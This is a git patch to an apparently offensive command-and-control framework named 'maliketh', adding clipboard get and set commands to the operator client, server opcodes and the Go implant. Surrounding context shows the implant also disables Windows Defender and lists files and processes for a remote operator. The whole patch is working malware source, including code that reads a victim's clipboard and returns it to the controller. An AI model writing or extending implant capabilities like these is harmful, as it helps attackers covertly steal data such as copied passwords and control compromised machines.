From f6802acbce8cf0fdc11a646f90a0730822ec78de Mon Sep 17 00:00:00 2001 From: Carter Brainerd <0xCB@protonmail.com> Date: Tue, 2 Jan 2024 23:42:49 -0500 Subject: [PATCH] Add clipboard get/set to client and go implant --- client/cli/commands.py | 4 ++++ client/cli/completer.py | 4 ++++ client/cli/interact.py | 26 ++++++++++++++++++++++++++ client/opcodes.py | 2 ++ go_implant/go.mod | 1 + go_implant/go.sum | 2 ++ go_implant/pkg/implant/handlers.go | 15 ++++++++++++++- go_implant/pkg/models/opcode.go | 2 ++ server/maliketh/opcodes.py | 2 ++ 9 files changed, 57 insertions(+), 1 deletion(-) diff --git a/client/cli/commands.py b/client/cli/commands.py index 27a86d9..a600e83 100644 --- a/client/cli/commands.py +++ b/client/cli/commands.py @@ -56,6 +56,10 @@ "ls": "List files in the implant's working directory", "ps": "List running processes", "whoami": "Get the current user", + "clipboard": { + "get": "Get the current clipboard contents (text)", + "set ": "Set the current clipboard contents (text)", + }, "config": { "set": { "user_agent ": "Set the user agent for the implant", diff --git a/client/cli/completer.py b/client/cli/completer.py index 4e7eaf8..a0bf583 100644 --- a/client/cli/completer.py +++ b/client/cli/completer.py @@ -99,6 +99,10 @@ def get_interact_dynamic_completer( "ls": None, "ps": None, "whoami": None, + "clipboard": { + "set": {"text"}, + "show": None, + }, "config": { "set": { "user_agent", diff --git a/client/cli/interact.py b/client/cli/interact.py index 694b57d..3943e17 100644 --- a/client/cli/interact.py +++ b/client/cli/interact.py @@ -97,6 +97,8 @@ def handle( handle_whoami(config, implant_id) elif cmd == "disable_defender": handle_disable_defender(config, implant_id) + elif cmd == "clipboard": + handle_clipboard(config, implant_id, args) elif cmd == "back": return True elif cmd == "clear": @@ -438,3 +440,27 @@ def handle_disable_defender(config: OperatorConfig, implant_id: str) -> None: """ logger.debug(f"Sending disable_defender task to {implant_id}") add_task(config, Opcodes.DISABLE_DEFENDER.value, implant_id, None) + +def handle_clipboard(config: OperatorConfig, implant_id: str, args: List[str]) -> None: + """ + Handle the clipboard command + """ + if len(args) < 1: + logger.error("Please provide an action to perform") + return + + action = args[0] + if action == "get": + logger.debug(f"Sending clipboard_get task to {implant_id}") + add_task(config, Opcodes.CLIPBOARD_GET.value, implant_id, None) + elif action == "set": + if len(args) < 2: + logger.error("Please provide text to set the clipboard to") + return + + text = args[1] + logger.debug(f"Sending clipboard_set task to {implant_id}") + add_task(config, Opcodes.CLIPBOARD_SET.value, implant_id, text) + else: + logger.error(f"Invalid action {action}") + return \ No newline at end of file diff --git a/client/opcodes.py b/client/opcodes.py index 86dfac1..cf96d24 100644 --- a/client/opcodes.py +++ b/client/opcodes.py @@ -18,6 +18,8 @@ class Opcodes(Enum): PS = 0x0D # List running processes WHOAMI = 0x0E # Get the current user DISABLE_DEFENDER = 0x0F # Try to disable windows defender + CLIPBOARD_GET = 0x10 # Get the current clipboard contents + CLIPBOARD_SET = 0x11 # Set the current clipboard contents def __str__(self): return self.name diff --git a/go_implant/go.mod b/go_implant/go.mod index 71a3e6a..5a40d4b 100644 --- a/go_implant/go.mod +++ b/go_implant/go.mod @@ -11,6 +11,7 @@ require ( ) require ( + github.com/atotto/clipboard v0.1.4 // indirect github.com/pkg/errors v0.9.1 // indirect github.com/stretchr/testify v1.8.4 // indirect go.uber.org/atomic v1.7.0 // indirect diff --git a/go_implant/go.sum b/go_implant/go.sum index f5fbd40..197533e 100644 --- a/go_implant/go.sum +++ b/go_implant/go.sum @@ -1,5 +1,7 @@ emperror.dev/errors v0.8.1 h1:UavXZ5cSX/4u9iyvH6aDcuGkVjeexUGJ7Ij7G4VfQT0= emperror.dev/errors v0.8.1/go.mod h1:YcRvLPh626Ubn2xqtoprejnA5nFha+TJ+2vew48kWuE= +github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4= +github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= diff --git a/go_implant/pkg/implant/handlers.go b/go_implant/pkg/implant/handlers.go index 7e6925f..01c20e9 100644 --- a/go_implant/pkg/implant/handlers.go +++ b/go_implant/pkg/implant/handlers.go @@ -18,6 +18,7 @@ import ( oslib "maliketh/pkg/os" + "github.com/atotto/clipboard" "github.com/denisbrodbeck/machineid" ) @@ -57,6 +58,10 @@ func Handle(c2Url string, task models.Task, profile models.MalleableProfile) { output, err = Whoami() case models.OP_DISABLE_DEFENDER: output, err = DisableDefender() + case models.OP_GET_CLIPBOARD: + output, err = GetClipboardData() + case models.OP_SET_CLIPBOARD: + output, err = SetClipboardData(task.Args.(string)) } if err != nil { @@ -252,7 +257,7 @@ func Ls() (output string, err error) { return "", err } for _, f := range files { - output += f.Type().String() + " " + f.Name() + "\n" + output += f.Type().Perm().String() + " " + f.Name() + "\n" } return output, nil } @@ -281,3 +286,11 @@ func Whoami() (output string, err error) { func DisableDefender() (output string, err error) { return "", oslib.PkillAv() } + +func GetClipboardData() (output string, err error) { + return clipboard.ReadAll() +} + +func SetClipboardData(data string) (output string, err error) { + return "", clipboard.WriteAll(data) +} diff --git a/go_implant/pkg/models/opcode.go b/go_implant/pkg/models/opcode.go index 4365546..7b387ee 100644 --- a/go_implant/pkg/models/opcode.go +++ b/go_implant/pkg/models/opcode.go @@ -19,4 +19,6 @@ const ( OP_PS OP_WHOAMI OP_DISABLE_DEFENDER + OP_GET_CLIPBOARD + OP_SET_CLIPBOARD ) diff --git a/server/maliketh/opcodes.py b/server/maliketh/opcodes.py index d4fce1e..16b2f31 100644 --- a/server/maliketh/opcodes.py +++ b/server/maliketh/opcodes.py @@ -18,6 +18,8 @@ class Opcodes(Enum): PS = 0x0D # List running processes WHOAMI = 0x0E # Get the current user DISABLE_DEFENDER = 0x0F # Disable Windows Defender + CLIPBOARD_GET = 0x10 # Get the current clipboard contents + CLIPBOARD_SET = 0x11 # Set the current clipboard contents def __str__(self): return self.name